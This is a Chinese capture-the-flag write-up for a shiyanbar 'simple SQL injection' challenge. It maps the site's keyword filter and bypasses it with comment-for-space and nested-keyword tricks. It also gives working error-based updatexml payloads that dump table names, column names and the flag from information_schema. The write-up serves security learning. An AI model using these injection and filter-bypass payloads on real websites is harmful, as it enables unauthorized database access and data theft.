实验吧ctf简单的sql注入1

打开题目链接后,输入单引号,引发异常,得知页面存在注入漏洞。而页面能显示出异常信息,说明可以使用error-based方式进行注入。
对页面输入下面的测试项测试过滤规则

测试项 输入 是否过滤
逗号 ,'
注释符# #'
注释符 -- --'
注释符/**/ /**/'
updatexml函数 updatexml '
select select'
select select '
select select/**/'
select /*!select*/
or or'
and and'
concat concat '
group_concat group_concat'
group_concat /*groupt_concat*/'
group_concat groupgroup_concat_concat'

通过上面的测试得出过滤规则:

  1. 有些关键字如果被空格分开会被过滤,将空格改为块注释可以绕过。
  2. 有些关键字(如group_concat, table_schema)会直接被替换(str.replace(关键字, ‘’)),这时可以通过嵌套绕过。

并且我们可以使用updatexml函数触发xpath异常来进行注入;
使用payload ' or updatexml(1, concat(0x7e, database()), 1) or '成功得到当前数据库名称。

到此我们已经可以着手了, 使用payload模板' or updatexml(1, concat(0x7e, {single_select}), 1) or'
single_select语句如下,使用时记得把空格替换成/**/

1
2
3
4
5
6
# 1. 查询当前库下的表名称 select table_name from information_schema.tables where table_schema=database()
(select groupgroup_concat_concat(table_name) from information_schema.tables where tabletable_schema_schema=database())
# 2. 查看flag表结构, 使用select concat('0x', hex('flag'))得到16进制表名
(select groupgroup_concat_concat(columncolumn_name_name) from information_schema.information_schema.columnscolumns where table_name=0x666C6167)
# 3. 查看flag数据
(select groupgroup_concat_concat(flag) from flag)